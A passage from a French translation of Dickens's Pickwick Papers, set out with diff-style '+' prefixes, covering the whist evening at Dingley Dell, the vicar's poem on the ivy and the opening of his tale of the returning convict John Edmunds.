+quitté la bonne route en vieillissant, étaient appendus aux murailles,
+sous la forme d'antiques paysages en tapisserie, d'alphabets en point de
+marque, non moins antiques, et de poignées à bouilloires en soie
+cramoisie, d'une plus récente période. La tante demoiselle, les deux
+jeunes filles et M. Wardle, groupés autour de la vieille dame,
+semblaient disputer à qui lui témoignerait les attentions les plus
+infatigables. L'une tenait son cornet acoustique, l'autre une orange, la
+troisième un flacon d'odeurs, tandis que M. Wardle tamponnait
+soigneusement les coussins qui la supportaient. De l'autre côté de la
+cheminée était assis un vieux gentleman, doué d'une contenance
+bienveillante et d'une tête chauve c'était le vicaire de Dingley-Dell;
+auprès de lui se trouvait sa femme, bonne vieille dame dont la
+physionomie robuste et le teint animé semblaient annoncer que, si elle
+était savante dans la confection de tous les cordiaux fabriqués par une
+bonne ménagère, elle savait aussi se les administrer à propos. Un petit
+homme, porteur d'une tête semblable à une pomme de reinette, causait
+dans un coin avec un gentleman vieux et gros, tandis que deux ou trois
+autres vieillards et tout autant de vieilles ladies étaient assis,
+roides et immobiles sur leurs chaises, considérant impitoyablement M.
+Pickwick et ses compagnons de voyage.
+
+«Ma mère!» dit M. Wardle, de toute l'étendue de sa voix, M. Pickwick!
+
+--Oh! fit la vieille lady, en secouant la tête, je ne vous entends pas.
+
+--M. Pickwick! grand'maman! crièrent ensemble les deux jeunes
+demoiselles.
+
+--Ah! reprit la vieille dame, c'est bon; cela ne fait pas grand'chose.
+Il ne se soucie guère d'une vieille femme comme moi, j'en suis certaine.
+
+--Je vous assure, madame, dit M. Pickwick, en saisissant la main de la
+vieille lady, et en parlant tellement fort, que sa bienveillante figure
+en devint écarlate, je vous assure, madame, que rien ne me charme autant
+que de voir, à la tête d'une si belle famille, une personne de votre
+âge, paraissant aussi jeune et aussi bien portante.
+
+--Ah! reprit la vieille dame, après une courte pose, tout cela est fort
+joli, j'en suis sûre; mais je ne peux pas l'entendre.
+
+--Grand'maman est mal disposée maintenant, dit doucement miss Isabella
+Wardle, mais elle vous parlera tout à l'heure.»
+
+M. Pickwick exprima par un signe son empressement à se prêter aux
+infirmités de l'âge; et, se retournant, il prit part à la conversation
+générale.
+
+«Charmante habitation! situation délicieuse! dit-il.
+
+--Délicieuse! répétèrent MM. Snodgrass, Tupman et Winkle.
+
+--Oui, je m'en flatte, repondit M. Wardle.
+
+--Monsieur, dit l'homme à la tête de pomme de reinette, il n'y a pas un
+meilleur morceau de terre dans tout le comté de Kent; il n'y en a pas,
+en vérité, monsieur. Je suis sûr qu'il n'y en a pas!» Et il regarda
+autour de lui d'un air triomphant, comme s'il avait été violemment
+contredit par quelqu'un, et qu'il fût parvenu à lui imposer silence.
+
+«Il n'y a pas un meilleur morceau de terre dans tout le comté de Kent,
+répéta l'homme à la tête de pomme de reinette, après une pause.
+
+--Excepté le pré de Mullins, articula solennellement le gros gentleman.
+
+--Le pré de Mullins! s'écria l'autre avec un profond mépris.
+
+--C'est une excellente terre, insinua un second gros homme.
+
+--Oui, assurément, dit un troisième gros homme.
+
+--Tout le monde sait cela,» poursuivit l'hôte corpulent.
+
+L'homme à tête de pomme de reinette regarda dubitativement autour de
+lui; mais, se trouvant décidément en minorité, il prit un air de
+supériorité compatissante, et n'ajouta plus rien.
+
+«De quoi parle-t-on? demanda la vieille dame à l'une de ses
+petites-filles d'un son de voix très-élevé; car, suivant l'usage des
+sourds, elle ne semblait pas imaginer que d'autres pussent entendre ce
+qu'elle-même disait.
+
+--On parle de la terre, grand'maman.
+
+--Qu'est-ce qu'on dit de la terre? Est-ce qu'il est arrivé quelque
+chose?
+
+--Non, non. M. Miller disait que notre terre est meilleure que le pré de
+Mullins.
+
+--Qu'est-ce qu'il en sait? demanda la vieille dame avec indignation.
+Miller est un fat impertinent, et vous pouvez le lui dire de ma part.»
+Ayant proféré cette sentence, la vieille dame se redressa, et regarda le
+délinquant d'un air sévère, sans se douter un seul instant qu'elle avait
+parlé de manière à être entendue de tout le monde.
+
+--Allons! allons! fit M. Wardle en s'empressant avec une anxiété
+naturelle de changer la conversation; que dites-vous d'un whist,
+monsieur Pickwick?
+
+--Je l'aimerais par-dessus toute chose; mais, je vous prie, ne le faites
+pas à cause de moi.
+
+--Oh! je vous assure que ma mère aime beaucoup à faire son whist.
+N'est-ce pas vrai, ma mère?»
+
+La vieille dame, qui était beaucoup moins sourde sur ce sujet que sur
+tout autre, répondit affirmativement.
+
+«Joe! Joe! cria le vieux gentleman, Joe! damné garçon.... Ah! le voilà!
+Dressez les tables de jeu.»
+
+Le léthargique jeune homme vint à bout de dresser, sans autre stimulant,
+deux tables de jeu: l'une pour faire le whist, l'autre pour jouer à la
+papesse Jeanne. Les joueurs de whist étaient: M. Pickwick et la vieille
+lady, M. Miller et le gros gentleman. L'autre jeu comprenait le reste de
+la société.
+
+Le whist fut conduit avec tout le sérieux, avec toute la gravité
+qu'exige cet acte solennel, auquel, suivant nous, on a mal à propos et
+avec irrévérence donné le nom de jeu. Mais, à la table ronde, on faisait
+éclater une gaieté si bruyante, qu'elle nuisait notablement aux
+réflexions de M. Miller. Ce malheureux personnage n'étant pas aussi
+absorbé par son jeu qu'il aurait dû l'être, tombait dans des fautes,
+dans des crimes impardonnables, qui excitaient au plus haut degré la
+rage du gros gentleman, et éveillaient proportionnellement la bonne
+humeur de la vieille lady.
+
+«Ah! ah! fit le criminel Miller d'un ton victorieux en prenant la
+septième levée. Je ne pouvais pas mieux jouer, j'espère; il était
+impossible de faire un trick de plus.»
+
+La vieille dame ne le laissa pas longtemps dans cette heureuse situation
+d'esprit. «Miller aurait dû couper le carreau, dit-elle; n'est-il pas
+vrai, monsieur?»
+
+M. Pickwick salua affirmativement.
+
+Le joueur infortuné fit un appel à la générosité de son partner en
+disant d'un ton dubitatif: «Devais-je réellement le couper?
+
+--Certainement, monsieur, répondit sèchement le gros gentleman.
+
+--J'en suis désolé, répliqua Miller avec abattement.
+
+--Il est bien temps! grommela son partner.
+
+--Deux d'honneurs. Cela nous fait huit,» dit M. Pickwick.
+
+On redonna des cartes.
+
+«Pouvez-vous en faire encore une? demanda la vieille dame.
+
+--Oui, répondit M. Pickwick. Double, simple; et le rob.
+
+--On n'a jamais vu une pareille chance! fit observer M. Miller.
+
+--Ni d'aussi vilaines cartes!» ajouta le gros gentleman.
+
+Un silence solennel s'ensuivit. M. Pickwick était enjoué, la vieille
+dame attentive, le gros gentleman querelleur, et M. Miller craintif.
+
+«Encore une partie double! s'écria la vieille dame triomphante, en
+plaçant sous le flambeau une pièce de six pence et un demi-penny, sans
+empreinte, comme mémorandum du fait.
+
+--Encore une partie double, monsieur, dit M. Pickwick.
+
+--Je le sais bien, monsieur,» répliqua le gros gentleman avec aigreur.
+
+Dans le courant d'une autre partie, dont le résultat fut le même, M.
+Miller eut le malheur de faire une renonce. Aussi, le gros gentleman ne
+fut plus maître de contenir son irritation. La vieille dame, au
+contraire, entendait de mieux en mieux, tandis que l'infortuné Miller
+paraissait aussi peu dans son élément qu'un dauphin dans une guérite.
+Quand le whist fut terminé, le gros gentleman se retint dans un coin et
+resta parfaitement muet durant une heure vingt-sept minutes: alors
+seulement, sortant de sa retraite, il offrit à M. Pickwick une prise de
+tabac, avec l'air généreux d'un homme que la charité chrétienne engage à
+pardonner les injures qu'il a reçues.
+
+Pendant ces événements, le jeu de la table ronde continuait avec gaieté.
+Isabelle Wardle s'était associée avec M. Trundle, Émily Wardle avec M.
+Snodgrass, et qui plus est, M. Tupman et la tante demoiselle avaient
+aussi formé une société de fiches et de galanteries. Le vieux M. Wardle
+était au comble de la joie; il conduisait une banque avec tant d'astuce,
+les dames montraient tant d'âpreté au gain, qu'un tonnerre d'éclats de
+rire retentissait continuellement autour de la table. Il y avait une
+vieille lady qui était toujours obligée de payer pour une demi-douzaine
+de cartes. Tout le monde en riait régulièrement à chaque tour, et quand
+la vieille lady avait l'air vexé de payer, on riait encore plus fort:
+alors son visage s'épanouissait par degrés, et elle finissait par faire
+chorus avec les autres. Quand la tante demoiselle faisait un _mariage_,
+les jeunes personnes éclataient de nouveau et la tante demoiselle
+devenait de très-mauvaise humeur; mais elle sentait la main de M. Tupman
+qui saisissait la sienne par-dessous la table, et son visage
+s'épanouissait aussi, puis elle prenait un air à peu près malin, comme
+si le mariage n'avait pas été aussi loin de la question qu'on le
+supposait. Alors tout le monde recommençait à rire, surtout le vieux
+Wardle qui s'amusait d'une plaisanterie au moins autant que les plus
+jeunes. Cependant, M. Snodgrass murmurait continuellement dans l'oreille
+de sa partner des sentiments poétiques, qui faisaient faire à un vieux
+gentleman sur les associations pour les cartes et sur les associations
+pour la vie, des remarques facétieuses et malignes, accompagnées de
+coups d'oeil, de coups de coude et de sourires. L'hilarité de la
+compagnie en était redoublée, et spécialement celle de l'épouse du
+susdit vieux gentleman. De temps en temps M. Winkle éditait des bons
+mots, fort connus dans la ville, mais qui ne l'étaient pas encore dans
+la province; et comme tout le monde en riait de très-bon coeur et les
+trouvait excellente, M. Winkle était resplendissant d'honneur et de
+gloire. Quant au bienveillant ecclésiastique, il regardait cette scène
+d'un air satisfait, car le bon vieillard était heureux de voir des
+visages heureux autour de lui; et, quoique la joie fût assez bruyante,
+elle venait du coeur, non des lèvres, c'est-à-dire que c'était la
+véritable joie, après tout.
+
+La soirée s'écoula rapidement au sein de ces récréations. Après un
+souper simple et substantiel, un cercle sociable fut formé autour du
+feu, et M. Pickwick déclara que jamais de sa vie il n'avait ressenti
+plus de vrai bonheur et n'avait été mieux disposé à jouir du présent
+hélas! trop fugitif.
+
+Le vieillard hospitalier était assis en cérémonie auprès du fauteuil de
+sa mère, et tenait une de ses mains dans les siennes: «Voilà précisément
+ce que j'aime, disait-il. Les plus heureux instants de mon existence se
+sont passés auprès de ce vieux foyer, et je trouve du plaisir à y faire
+flamber du feu jusqu'à ce que la chaleur devienne insupportable.
+Voyez-vous... ma pauvre vieille mère que voilà, s'asseyait dans cette
+cheminée sur ce petit tabouret, quand elle était enfant. N'est-il pas
+vrai, ma mère?»
+
+La vieille lady secoua la tête avec un sourire mélancolique, et l'on vit
+couler lentement sur ses joues ces larmes involontaires qui s'éveillent
+au souvenir des anciens temps et du bonheur écoulé depuis de longues
+années.
+
+«Monsieur Pickwick, continua leur hôte après un court silence, vous
+m'excuserez si je parle souvent de cet endroit, car je l'aime
+passionnément, et je n'en connais pas d'autre. La vieille maison et les
+champs mêmes semblent être pour moi d'anciens amis. J'en dis autant de
+notre petite église garnie d'une épaisse tenture de lierre, sur lequel,
+par parenthèse, notre excellent ami que voilà a fait une chanson à son
+arrivée ici. Monsieur Snodgrass, il me semble que votre verre est vide.
+
+--Je vous demande pardon, répliqua ce gentleman, dont la curiosité
+poétique avait été grandement excitée par la dernière phrase de son
+hôte. Vous parliez ce me semble d'une chanson sur le lierre?
+
+--C'est à notre ami qu'il faut vous adresser à ce sujet, dit M. Wardle
+en indiquant l'ecclésiastique par un signe.
+
+--Oserais-je vous prier, monsieur, de nous faire connaître cette
+composition? dit alors M. Snodgrass.
+
+--Véritablement, répondit le vénérable ecclésiastique, c'est fort peu de
+chose et ma seule excuse pour m'en être rendu coupable, c'est que
+j'étais très-jeune dans ce temps-là. Telle qu'elle est, toutefois, vous
+allez l'entendre, si vous le désirez.»
+
+Un murmure de curiosité fut naturellement la réplique, et le vieil
+ecclésiastique, soufflé de temps en temps par sa femme, commença à
+réciter la pièce de vers en question. «Je l'appelle,» dit-il:
+
+    LE LIERRE.
+
+    Oh! quelle plante singulière
+    Que ce vieux gourmand de lierre,
+    Qui rampe sur d'anciens débris!
+    Il lui faut l'antique poussière
+    Que les siècles seuls ont pu faire,
+    Pour contenter ses appétits.
+    Oh! quelle plante singulière
+    Que ce vieux gourmand de lierre!
+
+    Dans son domaine solitaire,
+    Tantôt il s'étend sur la terre,
+    Rongeant la pierre des tombeaux;
+    Et tantôt, relevant la tête,
+    Il grimpe, d'un air de conquête,
+    Au sommet des plus grands ormeaux.
+    Oh! quelle plante singulière
+    Que ce vieux gourmand de lierre!
+
+    Par le cours fatal des années,
+    Les nations sont ruinées,
+    Mais lui, rien ne peut le flétrir.
+    Les plus grands monuments de l'homme,
+    A quoi donc servent-ils, en somme?
+    A l'abriter, à le nourrir.
+    Oh! quelle plante singulière
+    Que ce vieux gourmand de lierre!
+
+Tandis que le bienveillant ecclésiastique répétait ses vers une seconde
+fois pour permettre à M. Snodgrass d'en prendre note, M. Pickwick
+étudiait avec un grand intérêt l'expression de sa physionomie. Il prit
+ensuite la parole et dit au vicaire:
+
+«Voulez-vous me permettre, monsieur, malgré la nouveauté de notre
+connaissance, de vous demander si, dans le cours de votre carrière,
+comme ministre de l'évangile, vous n'avez pas observé beaucoup
+d'événements dignes d'être conservés dans la mémoire des hommes?
+
+--Effectivement, monsieur, répliqua le ministre; j'ai observé beaucoup
+d'événements, mais dans une sphère étroite; et ils ont toujours été
+d'une nature simple et ordinaire.
+
+--Vous avez réuni, je pense, quelques notes sur John Edmunds?» reprit
+M. Wardle, qui désirait mettre son ami en évidence, pour l'édification
+de ses nouveaux hôtes.
+
+La vicaire fit un léger signe d'assentiment et se préparait à changer le
+sujet de la conversation, lorsque M. Pickwick lui dit: «Pardonnez-moi,
+monsieur; mais je vous serais obligé de m'apprendre qui était ce John
+Edmunds?
+
+--C'est précisément ce que j'allais demander; ajouta M. Snodgrass avec
+vivacité.
+
+--Vous êtes pris, s'écria le joyeux hôte. Il faudra, tôt ou tard, que
+vous satisfassiez la curiosité de ces messieurs; ainsi, vous feriez
+mieux de profiter de l'occasion et d'en finir sur-le-champ.»
+
+Le vieux ministre sourit avec bonhomie et rapprocha sa chaise de la
+cheminée. Les autres membres se serrèrent aussi, principalement M.
+Tupman et la tante demoiselle, qui avaient peut-être l'ouïe un peu dure.
+Le cornet de la vieille lady fut ajusté soigneusement; M. Miller, qui
+s'était endormi, fut réveillé par son ex-partner, au moyen d'un pinçon
+monitoire, administré par-dessous la table, et le ministre, sans autre
+préface, commença le récit suivant, auquel nous avons pris la liberté de
+donner pour titre:
+
+LE RETOUR DU CONVICT.
+
+«Lorsque je fus nommé vicaire de ce village, il y a juste vingt-cinq
+ans, j'y trouvai, parmi mes paroissiens, un certain Edmunds qui tenait à
+bail une petite ferme du voisinage. C'était un méchant homme, paresseux
+et dissolu par habitude, morose et féroce par disposition. Excepté
+quelques vagabonds abandonnés qui flânaient avec lui dans les champs ou
+qui s'abrutissaient à la taverne, il n'avait pas un seul ami, pas même
+une connaissance. En général on l'évitait, car personne ne se souciait
+de parler à un individu redouté par plusieurs, détesté par tous.
+
+Cet homme avait une femme et un fils âgé d'environ douze ans. Je vous
+attristerais sans nécessité en vous dépeignant les souffrances qu'avait
+endurées sa femme, et tout ce que je pourrais vous dire ne suffirait pas
+pour apprécier suffisamment la douceur et la résignation qu'elle
+déployait dans les circonstances les plus délicates, ni la sollicitude
+pleine de tendresse et de douleur avec laquelle elle élevait son enfant.
+Que Dieu me pardonne ce que je vais dire, si c'est un soupçon peu
+charitable, mais, dans mon âme et conscience, je crois que son mari
+essaya systématiquement, pendant plusieurs années, de la faire mourir de
+chagrin. Elle supporta tout, cependant, pour l'amour de son fils; et
+même, quoique cela puisse paraître étrange à bien des gens, pour l'amour
+de son mari. Elle l'avait aimé autrefois, et malgré ses brutalités,
+malgré la cruauté qu'il lui témoignait, le souvenir de ce qu'il avait
+été pour elle éveillait encore dans son sein des sentiments de douce
+indulgence, auxquels, excepté la femme, toutes les autres créatures de
+Dieu sont étrangères.
+
+Ils étaient pauvres: la conduite du mari ne permettait pas qu'il en fût
+autrement; mais le travail obstiné, incessant de la femme, les
+maintenait au-dessus du besoin. Cependant ses efforts étaient bien mal
+récompensés. Les gens qui passaient auprès de leur maison, le soir,
+entendaient souvent les pleurs, les gémissements de la malheureuse
+femme, et le bruit des coups qu'elle recevait. Plus d'une fois, après
+minuit, l'enfant vint frapper doucement à la porte de quelque maison
+voisine, où il était envoyé par sa mère, pour échapper à l'ivresse
+furieuse du père dénaturé.
+
+Pendant tout ce temps, et quoique la pauvre créature portât souvent des
+marques de mauvais traitements, qu'elle ne pouvait pas entièrement
+cacher, elle assistait régulièrement au service divin. Chaque dimanche,
+matin et soir, elle occupait avec son fils le même banc dans notre
+petite église; et quoique la mère et l'enfant fussent tous deux
+pauvrement habillés (plus pauvrement même que beaucoup de leurs voisins
+qui se trouvaient dans une position encore plus précaire), leur toilette
+était toujours décente et propre. Chacun avait un signe amical et une
+parole bienveillante pour cette _pauvre madame Edmunds_, et parfois
+quand, au sortir de l'église, elle s'arrêtait sous les ormes qui
+conduisaient au porche, pour échanger quelques mots avec un voisin; ou
+quand elle ralentissait le pas pour regarder, avec l'orgueil et la
+tendresse d'une mère, son enfant, rose et bien portant, qui jouait
+devant elle avec quelques petits camarades, sa figure fatiguée
+s'éclairait d'une expression de gratitude profondément ressentie, et
+elle paraissait être sinon heureuse ou gaie, du moins résignée et
+tranquille.
+
+Cinq ou six ans s'écoulèrent: l'enfant était devenu un jeune homme
+robuste et bien bâti, mais le temps, qui avait renforcé ses membres
+délicats, avait courbé la taille de sa mère et affaibli sa démarche; et
+cependant le bras qui aurait dû la supporter n'était plus enchaîné sous
+le sien, le visage qui aurait dû la réjouir ne la regardait plus en
+souriant. Elle occupait toujours le même banc, mais il y avait une place
+vacante à côté d'elle; sa bible était toujours tenue avec autant de
+soin, elle y faisait des signets pour l'ouvrir aux différentes lectures;
+mais il n'y avait plus personne pour la lire avec elle, et ses larmes
+coulaient sur son livre, et dérobaient à ses yeux le texte sacré. Ses
+voisins étaient encore aussi bienveillants qu'autrefois, mais maintenant
+elle détournait la tête pour éviter leur salut; elle ne s'arrêtait plus
+sous les vieux ormes, et elle n'enfermait plus dans son coeur des trésors
+de bonheur et d'espérance. Dans sa désolation elle enfonçait sa coiffe
+sur son visage et elle s'éloignait d'un pas précipité. Faut-il vous le
+dire? Ce jeune homme qui aurait dû conserver pieusement dans sa mémoire
+le souvenir des privations volontaires, des mauvais traitements que sa
+mère avait endurés pour lui; oubliant au contraire tout ce qu'il lui
+devait, et méprisant cruellement les angoisses de son coeur brisé,
+s'était lié avec les hommes les plus dépravés, les plus abandonnés de
+Dieu, et suivait une carrière de vices et de crimes, qui devait aboutir
+à la mort pour lui, à la honte pour elle. Hélas! pauvre nature humaine!
+Vous avez déjà deviné cela depuis longtemps.
+
+La malheureuse femme était sur le point de voir compléter la mesure de
+ses infortunes. Des délits nombreux avaient été commis dans le
+voisinage. Les coupables étaient restés impunis, et leur audace s'en
+augmentait. Un vol nocturne, accompagné de circonstances aggravantes,
+occasionna des poursuites actives, des recherches sévères, auxquelles il
+était impossible d'échapper. Le jeune Edmunds fut soupçonné, ainsi que
+trois de ses compagnons; il fut arrêté, jugé et condamné à mort.
+
+Le cri perçant et égaré, le cri maternel qui effraya l'audience quand le
+jugement solennel fut prononcé, retentit encore à mon oreille. Ce cri
+frappa de terreur le coeur du coupable, que le jugement, la condamnation,
+l'approche de la mort même n'avaient pu ébranler. Ses lèvres,
+jusqu'alors comprimées avec une sombre obstination, tremblèrent et se
+séparèrent involontairement. Son visage devint pâle, une sueur froide
+mouilla son front, ses membres vigoureux frissonnèrent, et il chancela
+sur son banc.
+
+Dans le premier transport de ses angoisses, la mère désolée se jeta à
+genoux, et supplia douloureusement l'Être infini, qui l'avait soutenue
+jusqu'alors dans ses épreuves, de la délivrer de ce monde de misère, et
+d'épargner la vie de son unique enfant. A cette prière succéda une
+explosion de pleurs, une agonie de désespoir, telles que j'espère bien
+n'en revoir jamais de semblables. Dès cet instant, je fus convaincu que
+la douleur abrégerait sa vie, mais je n'entendis plus une seule plainte,
+un seul murmure s'échapper de ses lèvres.
+
+C'était un déchirant spectacle de voir de jour en jour, dans la cour de
+la prison, cette malheureuse mère qui s'efforçait avec ferveur de
+toucher par l'affection, par les prières, le coeur pétrifié de son fils.
+Ce fut en vain: il resta sombre, farouche, impénitent. La commutation
+inespérée de sa peine, en celle de la transportation pour quatorze ans,
+ne put pas même adoucir pour un seul instant son endurcissement obstiné.
+
+L'esprit de résignation qui avait si longtemps soutenu sa mère ne
+pouvait plus lutter contre la faiblesse et la maladie. Pourtant elle
+voulut revoir son fils encore une fois. Elle déroba à son lit de
+souffrances ses membres chancelants; mais ses forces la trahirent, et
+elle tomba presque inanimée sur le carreau.
+
+C'est alors que l'indifférence et le stoïcisme tant vantés du coupable
+furent mis à une rude épreuve. Un jour se passa sans qu'il vît sa mère.
+Un second jour s'écoula, et elle ne vint pas. Un troisième soir arriva,
+et sa mère n'avait pas paru. Et dans vingt-quatre heures il devait être
+séparé d'elle peut-être pour toujours!
+
+Ce nouveau châtiment, qui tombait si pesamment sur lui, le rendit
+presque fou. Oh! comme les pensées longtemps oubliées de son enfance
+revinrent en foule dans son esprit, tandis qu'il arpentait l'étroite
+cour d'un pas rapide, comme si la rapidité de sa course eût pu hâter
+l'arrivée des nouvelles attendues; comme le sentiment de sa misère et de
+son abandon s'empara amèrement de lui, lorsqu'il apprit la vérité
+fatale! Sa mère, la seule personne qui l'eût jamais aimé, sa mère était
+malade, peut-être mourante, à une demi-lieue de lui; quelques minutes
+auraient pu le porter près de son lit, s'il avait été libre, mais il ne
+devait plus la revoir. Il se précipita sur la grille, et saisissant les
+barreaux de fer avec l'énergie du désespoir, il la secoua et la fit
+trembler; il s'élança contre les murailles épaisses comme s'il avait
+voulu les briser. Mais la prison solide bravait ses efforts insensés, et
+il se mit à pleurer comme un faible enfant, en se tordant les mains.
+
+Je portai au fils emprisonné les paroles de pardon et les bénédictions
+de sa mère, mais sans lui dire jusqu'à quel point son état était grave:
+je rapportai au lit de la mourante ses solennelles assurances de
+repentir et ses supplications ferventes pour obtenir ce pardon.
+J'écoutai avec une triste compassion les mille projets que le coupable
+repentant faisait déjà pour soutenir sa mère, pour la rendre heureuse
+quand il reviendrait de son exil. Et je savais que longtemps avant qu'il
+eût atteint le but de son voyage elle ne serait plus de ce monde!
+
+Il fut emmené pendant la nuit. Peu de semaines après, l'âme de la pauvre
+femme prit son vol, et, comme je le crois avec confiance, pour une
+région de paix et de bonheur éternel. J'accomplis moi-même le service
+funèbre sur ses restes, qui reposent maintenant dans notre petit
+cimetière: il n'y a point de pierre à la tête de sa tombe, à quoi bon?
+Ses chagrins étaient connus aux hommes et ses vertus à Dieu.
+
+Il avait été convenu, avant le départ du condamné, qu'il écrirait à sa
+mère aussitôt qu'il en pourrait obtenir la permission, et que ses
+lettres me seraient adressées, car son père avait positivement refusé de
+le voir, depuis le moment de son arrestation, et se souciait peu qu'il
+fût mort ou vivant. Nombre d'années s'écoulèrent sans que je reçusse de
+ses nouvelles; et lorsque la moitié de son temps fut passée, j'en
+conclus qu'il n'existait plus, et en vérité, je le souhaitais presque.
+
+Je me trompais cependant. A son arrivée à Botany-Bay[9], il avait été
+envoyé dans l'intérieur des terres, et ce fut apparemment pour cela
+qu'aucune de ses lettres ne me parvint. Il resta au même endroit pendant
+quatorze années, persévérant constamment dans ses bonnes résolutions, et
+fidèle aux promesses qu'il avait faites à sa mère. Quand son temps fut
+fini, il surmonta d'énormes difficultés pour regagner l'Angleterre, et
+revint à pied au lieu de sa naissance.
+
+[Footnote 9: Colonie pénitentiaire.]
+
+Par une belle soirée du mois d'août, John Edmunds rentra dans le village
+dont il avait été honteusement emmené dix-sept années auparavant. Le
+chemin qu'il suivait passait au milieu du cimetière, et son coeur se
+gonfla en le traversant, les rayons du soleil couchant se jouaient à
+travers les branches gigantesques des vieux ormes qui réveillaient dans
+l'esprit du libéré les souvenirs de son jeune âge; il se rappelait le
+temps où, s'attachant à la main de sa mère, il se rendait gaiement à
+l'église avec elle; il croyait voir encore son pâle visage; il croyait
+sentir les larmes brûlantes qui tombaient sur son front lorsqu'elle se
+baissait pour l'embrasser, et qui le faisaient pleurer aussi, quoiqu'il
+ne sût guère alors combien ces larmes étaient remplies d'amertume. Il se
+rappelait encore combien de fois il avait couru joyeusement dans ce même
+sentier avec quelques-uns de ses petits camarades, se retournant de
+temps en temps pour apercevoir le sourire de sa mère, ou pour entendre
+sa douce voix; et alors il lui sembla qu'un rideau se tirait dans sa
+mémoire; et mille souvenirs de tendresse méconnue et d'avertissements
+méprisés, de promesses oubliées, vinrent se presser dans son cerveau et
+déchirer son coeur.
+
+Il entra dans l'église, car c'était un dimanche, et quoique le service
+du soir fût fini et que les assistants fussent dispersés, la vieille
+porte de chêne, aux larges clous, n'était point encore fermée. Les pas
+du convict retentirent sous la voûte, et dans le calme religieux qui
+régnait autour de lui, il se trouva si isolé qu'il eut presque peur. Il
+regarda les objets qui l'entouraient: rien n'était changé. L'église lui
+paraissait plus petite que dans son enfance, mais elle renfermait
+toujours les vieux monuments qu'il avait contemplés mille fois avec une
+crainte enfantine. Là se trouvait la petite chaire, ornée du coussin
+fané où le ministre posait sa bible, et où il avait entendu prêcher la
+parole de Dieu; ici la table de communion, devant laquelle il avait si
+souvent répété, dans son enfance, les commandements qu'il avait oubliés
+quand il était devenu homme. Il s'approcha de l'ancien banc de sa mère;
+le coussin avait été retiré, la bible n'y était point. Il pensa que
+peut-être Mme Edmunds occupait maintenant un siége plus pauvre, ou que
+peut-être elle était devenue infirme et ne pouvait plus aller seule
+jusqu'à l'église. Il n'osait pas arrêter son esprit sur une autre
+supposition. Une sensation de froid s'empara de lui, et il tremblait de
+tous ses membres en se détournant pour sortir.
+
+Comme il arrivait sous le porche, il y vit entrer un homme vieux et
+cassé. Il tressaillit, car il le reconnaissait: souvent il l'avait vu
+creuser des fosses dans le cimetière derrière l'église: et maintenant
+qu'est-ce que l'honnête sacristain allait dire au convict libéré? Le
+vieillard leva les yeux, le regarda un instant, lui souhaita le bonsoir,
+et s'éloigna avec lenteur. Il ne l'avait pas reconnu.
+
+Edmunds descendit la colline et traversa le village. La saison était
+chaude, et les habitants, assis à leur porte ou se promenant dans leur
+petit jardin, jouissaient de la fraîcheur du soir et des douceurs du
+repos, après les fatigues de la journée. Beaucoup de regards se
+dirigèrent vers l'étranger, et il jeta à droite et à gauche bien des
+coups d'oeil inquiets, pour voir si on se souvenait de lui et si on
+l'évitait. Il y avait des figures nouvelles dans presque toutes les
+maisons; à la porte de quelques-unes il reconnaissait la physionomie
+d'un camarade d'école, un bambin lorsqu'il l'avait quitté, et maintenant
+environné de ses joyeux enfants: devant d'autres chaumières il voyait,
+assis dans un fauteuil, un vieillard faible et infirme, qu'il se
+rappelait avoir connu encore jeune et vigoureux. Tous l'avaient oublié
+et il passa sans que personne lui adressât une parole.
+
+Les derniers et doux rayons du soleil avaient jeté sur la terre une
+riche teinte de pourpre, donnant un éclat doré aux épis jaunis et
+allongeant l'ombre des arbres, lorsqu'il arriva devant la vieille
+maison, la maison de son enfance, après laquelle son coeur avait soupiré
+si souvent, si ardemment, durant de longues et pénibles années de
+captivité et de douleur. La palissade était basse, quoiqu'il se rappelât
+le temps où elle lui paraissait gigantesque; il regarda par-dessus dans
+le jardin. Il y vit beaucoup plus de fleurs qu'il n'y en avait
+autrefois, mais les vieux arbres y étaient encore. Il reconnut celui
+sous lequel il s'était couché mille fois lorsqu'il était fatigué de
+jouer au soleil, laissant doucement aller ses sens au léger sommeil
+d'une enfance heureuse. Il entendit des voix dans l'intérieur de la
+maison, mais elles affectèrent péniblement son oreille, car il ne les
+connaissait point, et elles exprimaient la gaieté. Or il savait bien que
+sa pauvre vieille mère ne pouvait pas être gaie, lui absent. La porte
+s'ouvrit et il en vit sortir une troupe de petits enfante riant et
+gambadant.
+
+Le père, avec un marmot dans ses bras, parut sur le seuil et les enfants
+se pressèrent autour de lui, frappant joyeusement des mains, et le
+tirant de toutes leurs forces pour lui faire prendre part à leurs jeux.
+Le convict se rappela combien de fois, à la même place, il s'était
+dérobé aux regards de son père; il se rappela combien de fois il avait
+caché sous ses draps sa tête tremblante, en entendant les sanglote
+étouffés de sa malheureuse mère quand elle avait été injuriée et battue
+par son mari furieux. Il se détourna, et ses poings étaient crispés,
+ses dents étaient serrées avec rage, lorsqu'il s'éloigna de la maison
+paternelle.
+
+Tel était donc le retour qui avait occupé son esprit pendant un si grand
+nombre d'années pénibles, et pour lequel il avait supporté tant de
+souffrances! Pas un visage ami, pas un regard de pardon, pas une main
+pour l'aider, pas une maison pour l'accueillir; et cela dans le village
+où il était né! Quel abandon! quelle solitude! plus amère mille fois que
+celle des contrées sauvages où il avait été exilé!
+
+Il reconnut alors que, sur la terre lointaine de l'infamie et de la
+servitude, il s'était représenté les lieux de sa naissance tels qu'il
+les avait laissés, non pas tels qu'il devait les retrouver. La triste
+réalité se dévoila tout d'un coup à son esprit, et abattit son courage.
+Il n'eut pas la force de prendre des informations ni de se présenter à
+la seule personne qui devait le recevoir avec compassion. Il marcha
+lentement devant lui, évitant la grande route, comme un coupable, entra
+dans une prairie qu'il avait parcourue jadis dans tous les sens, couvrit
+son visage de ses mains, et se laissa tomber sur l'herbe.
+
+Un homme, qu'Edmunds n'avait point aperçu, était assis tout auprès de
+lui sur la terre. Il se retourna pour regarder le nouveau venu, et
+Edmunds entendant le frôlement de ses habits releva la tête.
+
+Cet homme portait le costume du Work-House; son corps était courbé, sa
+face jaune et ridée. Il paraissait très-vieux, mais plutôt par l'effet
+destructeur de l'intempérance et des maladies que par le résultat
+graduel des années. Ses yeux étaient lourds et ternes, mais quand ils
+eurent contemplé Edmunds pendant quelques instants, ils s'animèrent
+d'une étrange expression d'alarme, et s'ouvrirent si horriblement qu'ils
+semblaient près de sortir de leur orbite.
+
+Le convict, se levant peu à peu sur ses genoux, examinait avec une
+anxiété toujours croissante le visage du vieillard. Ils s'observèrent
+ainsi en silence durant assez longtemps.
+
+Tout à coup le vieillard tressaillit, devint affreusement pâle, se leva
